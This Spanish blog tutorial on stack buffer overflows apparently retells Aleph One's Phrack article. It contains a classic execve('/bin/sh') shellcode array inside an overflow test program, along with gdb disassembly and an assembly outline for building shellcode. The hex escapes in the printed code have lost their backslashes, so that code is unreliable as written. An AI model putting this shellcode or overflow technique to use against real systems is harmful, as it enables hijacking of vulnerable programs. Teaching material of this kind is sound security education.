Buffer Overflows: Ponte las pilas con esta pila II

Buffer Overflows: Ponte las pilas con esta pila II

Continuando con el anterior articulo sobre Buffers Overflow, en los programas que usan la memoria de la maquina (C, C++) un buffer no es otra cosa un puntero que tiene la posición del primer byte de una cadena y el final está representado por un byte NULL (). No hay manera de conocer o reservar el tamaño de un buffer exactamente pues esto depende de los caracteres que estén en el.

Esto genera un problema ya que no podemos controlar la cantidad de datos que metemos en un buffer pues podríamos llegar a meter menos y así dejar basura en el buffer, o agregar de más.

Veamos un ejemplo. Recordemos que la memoria se guarda en formato LIFO. Un buffer que contenga abc se vería así «||c|b|a|», mientras que la memoria que contiene a los buffers abc y 12345 se verían así «||5|4|3|2|1|-|-||c|b|a|» donde |-| representa una zona vacía. Esto se debe a que la memoria ocupa bloques «words» de 4 bytes, por lo que para guardar información debemos usar una cantidad de bytes múltiplo de este número, en este caso 12.
Veamos otro ejemplo:

#include <stdio.h>

int main(int argc, char **argv){
char jayce[4]="Oum";
char herc[8]="Gillian";
strcpy(herc, "BrookFlora");
printf("%sn", jayce);
return 0;
}

Esto se vería en la memoria de esta manera:

jayce = |\0|m|u|O|
herc = |\0|n|a|i| |l|l|i|G|
stack = |\0|m|u|O| |\0|n|a|i| |l|l|i|G|
stack despues de strcpy = |-|\0|a|r| |o|l|F|k| |o|o|r|B|

Al ejecutarlo vemos lo siguiente:

usuario@linux:~$ gcc jayce.c
usuario@linux:~$ ./a.out
ra
usuario@linux:~$

Esto sucede porque la cadena está ubicada en la primera palabra de la memoria, y al usar strcpy hemos sobrescrito esta y printf nos muestra el nuevo valor. Recordando que usamos espacios de 4 bytes, y como se ha sobrescrito hasta el último, terminamos con un byte NULL al final, por lo que lo demás ya no nos interesa y lo consideramos como espacio vacío o basura.

Stack Overflow

Ya que conocemos la forma en que funciona la memoria y hemos visto que un desbordamiento de cadena (buffer overflow) la modifica podemos pasar a la siguiente parte. Ataques directos a la pila. Lo que sigue son las técnicas utilizadas para obtener un shell code, llamado así porque funcionan como una consola virtual (y algunas veces incluso nos generan una consola real).

Al desensamblar el programa hemos visto que maneja los registros EBP y ESP para acceder a la pila, y que otro registro llamado EIP nos indica que instrucción es la que deseamos ejecutar. Este se encuentra en la pila al momento de entrar a una función y al salir se hace un push para recuperarla. Esto nos da una gran ventaja ya que si accedemos a la pila podemos modificar el valor previo de esta y así apuntar hacia la dirección de la memoria donde esta nuestro código. Esto suena muy interesante pero requiere mucho trabajo ya que no siempre es fácil saber cómo esta acomodada la memoria. Algunas personas realizan lo que podría llamarse un ataque de brute forcing al escribir sobre la mayor cantidad de memoria una palabra que contenga la dirección del código, pero saber en que posición exacta de la memoria se encuentra este también es algo complicado.

Una manera de solucionar este problema es que conociendo la posición en donde empieza la pila podemos calcular aproximadamente donde se encuentra el buffer, rellenamos el buffer con instrucciones NOP, las cuales no tienen una función real, y agregamos el shell code. Saltamos hacia alguna posición de la pila, que al contener NOP’s correra hasta encontrar el código que deseamos ejecutar.

Ahora viene lo interesante, y lo complicado. Trataré de ponerlo fácil y sencillo. Generalmente los textos que hablan sobre overflows suelen traer un ejemplo como el siguiente:

#include <stdio.h>
#include <string.h>

char shellcode[] =
"xebx1fx5ex89x76x08x31xc0x88x46x07x89x46x0cxb0x0b"
"x89xf3x8dx4ex08x8dx56x0cxcdx80x31xdbx89xd8x40xcd"
"x80xe8xdcxffxffxff/bin/sh";

char large_string[128];

int main(int argc, char **argv){
char buffer[96];
int i;
long *long_ptr = (long *) large_string;
for (i = 0; i < 32; i++)
*(long_ptr + i) = (int) buffer;
for (i = 0; i < (int) strlen(shellcode); i++)
large_string[i] = shellcode[i];
strcpy(buffer, large_string);
return 0;
}

Esto proviene de un artículo de Phrack escrito por aleph1, trataré de explicar lo que él hizo en español usando su texto. El explica lo que es un buffer y la memoria, cosa que ya hice. Luego habla de este shell code para poner luego la explicación de cómo crear uno propio. Veamos que significa el código anterior.

Una shell code, como habíamos dicho, es un código que ejecuta una consola virtual, para que se entienda mejor, es un programa dentro de otro programa. En el texto aleph1 utiliza un código muy sencillo que nos da muchas ventajas:

shellcode.c

#include <stdio.h>

void main() {
char *name[2];

name[0] = "/bin/sh";
name[1] = NULL;
execve(name[0], name, NULL);
}

Esto nos devuelve una sesion ssh, para los que usan sistemas Unix, dentro de Windows seria como ejecutar la función «System(‘start’)» que nos devolvería una consola. El problema es que está escrito en C y es algo que no podemos escribir directamente en la memoria. Para poder hacerlo debemos compilarlo. La opción -static en gcc nos permite añadir la función execve en el programa para que no trate de insertar una referencia a una librería dinámica. Después lo desensamblamos con gdb.

[aleph1]$ gcc -o shellcode -ggdb -static shellcode.c
[aleph1]$ gdb shellcode

GDB is free software and you are welcome to distribute copies of it
under certain conditions; type "show copying" to see the conditions.
There is absolutely no warranty for GDB; type "show warranty" for details.
GDB 4.15 (i586-unknown-linux), Copyright 1995 Free Software Foundation, Inc...
(gdb) disassemble main
Dump of assembler code for function main:
0x8000130 <main>:       pushl  %ebp
0x8000131 <main+1>:     movl   %esp,%ebp
0x8000133 <main+3>:     subl   $0x8,%esp
0x8000136 <main+6>:     movl   $0x80027b8,0xfffffff8(%ebp)
0x800013d <main+13>:    movl   $0x0,0xfffffffc(%ebp)
0x8000144 <main+20>:    pushl  $0x0
0x8000146 <main+22>:    leal   0xfffffff8(%ebp),%eax
0x8000149 <main+25>:    pushl  %eax
0x800014a <main+26>:    movl   0xfffffff8(%ebp),%eax
0x800014d <main+29>:    pushl  %eax
0x800014e <main+30>:    call   0x80002bc <__execve>
0x8000153 <main+35>:    addl   $0xc,%esp
0x8000156 <main+38>:    movl   %ebp,%esp
0x8000158 <main+40>:    popl   %ebp
0x8000159 <main+41>:    ret
End of assembler dump.

(gdb) disassemble __execve
Dump of assembler code for function __execve:
0x80002bc <__execve>:   pushl  %ebp
0x80002bd <__execve+1>: movl   %esp,%ebp
0x80002bf <__execve+3>: pushl  %ebx
0x80002c0 <__execve+4>: movl   $0xb,%eax
0x80002c5 <__execve+9>: movl   0x8(%ebp),%ebx
0x80002c8 <__execve+12>:        movl   0xc(%ebp),%ecx
0x80002cb <__execve+15>:        movl   0x10(%ebp),%edx
0x80002ce <__execve+18>:        int    $0x80
0x80002d0 <__execve+20>:        movl   %eax,%edx
0x80002d2 <__execve+22>:        testl  %edx,%edx
0x80002d4 <__execve+24>:        jnl    0x80002e6 <__execve+42>
0x80002d6 <__execve+26>:        negl   %edx
0x80002d8 <__execve+28>:        pushl  %edx
0x80002d9 <__execve+29>:        call   0x8001a34 <__normal_errno_location>
0x80002de <__execve+34>:        popl   %edx
0x80002df <__execve+35>:        movl   %edx,(%eax)
0x80002e1 <__execve+37>:        movl   $0xffffffff,%eax
0x80002e6 <__execve+42>:        popl   %ebx
0x80002e7 <__execve+43>:        movl   %ebp,%esp
0x80002e9 <__execve+45>:        popl   %ebp
0x80002ea <__execve+46>:        ret
0x80002eb <__execve+47>:        nop
End of assembler dump.

Ya que tenemos todo lo analizamos parte por parte:

0x8000130 <main>:       pushl  %ebp
0x8000131 <main+1>:     movl   %esp,%ebp
0x8000133 <main+3>:     subl   $0x8,%esp

Como habíamos dicho debemos guardar el frame actual y luego crear un puntero al marco nuevo para las variables locales. En el código seria:

char *name[2];

Por lo que guarda un espacio para los dos punteros. Cada puntero mide una palabra por lo que reserva 8 bytes.

0x8000136 <main+6>:     movl   $0x80027b8,0xfffffff8(%ebp)

Guardamos la posición de la primera cadena en el primer puntero. Esto es:

   name[0] = "/bin/sh";
0x800013d <main+13>:    movl   $0x0,0xfffffffc(%ebp)

Esto pone el segundo puntero en null.

name[1] = NULL;
0x8000144 <main+20>:    pushl  $0x0
0x8000146 <main+22>:    leal   0xfffffff8(%ebp),%eax
0x8000149 <main+25>:    pushl  %eax
0x800014a <main+26>:    movl   0xfffffff8(%ebp),%eax
0x800014d <main+29>:    pushl  %eax
0x800014e <main+30>:    call   0x80002bc <__execve>

Empezamos a llamar a la función, recordemos que usamos el sistema LIFO por lo que los parámetros se ingresan en orden inverso. Metemos NULL, leemos name[1] y lo empujamos, leemos name[0] y lo empujamos. Hacemos el call. La funcion execve() esta hecha bajo un sistema Linux con soporte Intel. Las llamadas del sistema (syscalls) varian dependiendo del sistema operativo, del CPU, del compilador, y de algunas otras cosas. Esto puede ser diferente en algunas maquinas.

0x80002bc <__execve>:   pushl  %ebp
0x80002bd <__execve+1>: movl   %esp,%ebp
0x80002bf <__execve+3>: pushl  %ebx

El inicio de la funcion. Manejamos la pila

0x80002c0 <__execve+4>: movl   $0xb,%eax

Copia Oxb (11) en la pila. Este es el numero de la syscall execve.

0x80002c5 <__execve+9>: movl   0x8(%ebp),%ebx

Copia la direccion de name[0] en EBX.

0x80002c8 <__execve+12>:        movl   0xc(%ebp),%ecx

Copia la direccion de name[1] en ECX.

0x80002cb <__execve+15>:        movl   0x10(%ebp),%edx

Copia la direccion de NULL en EDX.

0x80002ce <__execve+18>:        int    $0x80

Pasa a modo kernel.

Ejecutar execve() no es muy complicado. Sus requisitos son:

  1. La cadena «/bin/sh» en la memoria.
  2. La dirección de esa cadena.
  3. Copiar 0xb en EAX.
  4. Copiar la dirección de (2) en EBX.
  5. Copiar (2) en ECX.
  6. Copiar la dirección de la word NULL en EDX.
  7. Ejecutar la int $0x80.

Si esto llegara a fallar lo que sucederá es que se ejecutarán las instrucciones que están en la pila después de estas. Para evitar que ejecute código basura debemos incluir una función que termine esto. Para ello usamos el siguiente código:

exit.c

#include <stdlib.h>

void main() {
exit(0);
}

Volvamos a analizarlo otra vez:

[aleph1]$ gcc -o exit -static exit.c
[aleph1]$ gdb exit

GDB is free software and you are welcome to distribute copies of it
under certain conditions; type "show copying" to see the conditions.
There is absolutely no warranty for GDB; type "show warranty" for details.
GDB 4.15 (i586-unknown-linux), Copyright 1995 Free Software Foundation, Inc...
(no debugging symbols found)...
(gdb) disassemble _exit
Dump of assembler code for function _exit:
0x800034c <_exit>:      pushl  %ebp
0x800034d <_exit+1>:    movl   %esp,%ebp
0x800034f <_exit+3>:    pushl  %ebx
0x8000350 <_exit+4>:    movl   $0x1,%eax
0x8000355 <_exit+9>:    movl   0x8(%ebp),%ebx
0x8000358 <_exit+12>:   int    $0x80
0x800035a <_exit+14>:   movl   0xfffffffc(%ebp),%ebx
0x800035d <_exit+17>:   movl   %ebp,%esp
0x800035f <_exit+19>:   popl   %ebp
0x8000360 <_exit+20>:   ret
0x8000361 <_exit+21>:   nop
0x8000362 <_exit+22>:   nop
0x8000363 <_exit+23>:   nop
End of assembler dump.

Esto coloca el valor 0x1 en EAX, pone el valor de salida en EBX y ejecuta int $0x80. Los pasos para tener una función completa serían:

  1. La cadena «/bin/sh» en la memoria.
  2. La dirección de esa cadena.
  3. Copiar 0xb en EAX.
  4. Copiar la dirección de (2) en EBX.
  5. Copiar (2) en ECX.
  6. Copiar la dirección de la word NULL en EDX.
  7. Ejecutar la int $0x80.
  8. Copiar 0x1 en EAX.
  9. Copiar 0x0 en EBX.
  10. Ejecutar la int $0x80.

Esto en asm, incluyendo la cadena dentro del código, quedaría así:

movl   string_addr,string_addr_addr
movb   $0x0,null_byte_addr
movl   $0x0,null_addr
movl   $0xb,%eax
movl   string_addr,%ebx
leal   string_addr,%ecx
leal   null_string,%edx
int    $0x80
movl   $0x1, %eax
movl   $0x0, %ebx
int    $0x80
/bin/sh string goes here.

Esto nos regresa al problema inicial. No conocemos la posición del buffer y por lo tanto tampoco sabemos la posición de nuestras cadenas. Una manera podría ser usando las instrucciones JMP y CALL. Estas usan la dirección IP relativa, lo que nos permite desplazarnos en forma relativa dentro de la memoria, sin usar una dirección específica. Si ponemos un CALL antes de «/bin/sh» y luego usamos un JMP hacia ella, la dirección de «/bin/sh» pasaran a la pila como dirección de retorno de CALL. Lo único necesario sería ponerla dentro de un registro.

Deja un comentario

Your email address will not be published. Required fields are marked *

You may use these <abbr title="HyperText Markup Language">HTML</abbr> tags and attributes: <a href="" title=""> <abbr title=""> <acronym title=""> <b> <blockquote cite=""> <cite> <code> <del datetime=""> <em> <i> <q cite=""> <s> <strike> <strong>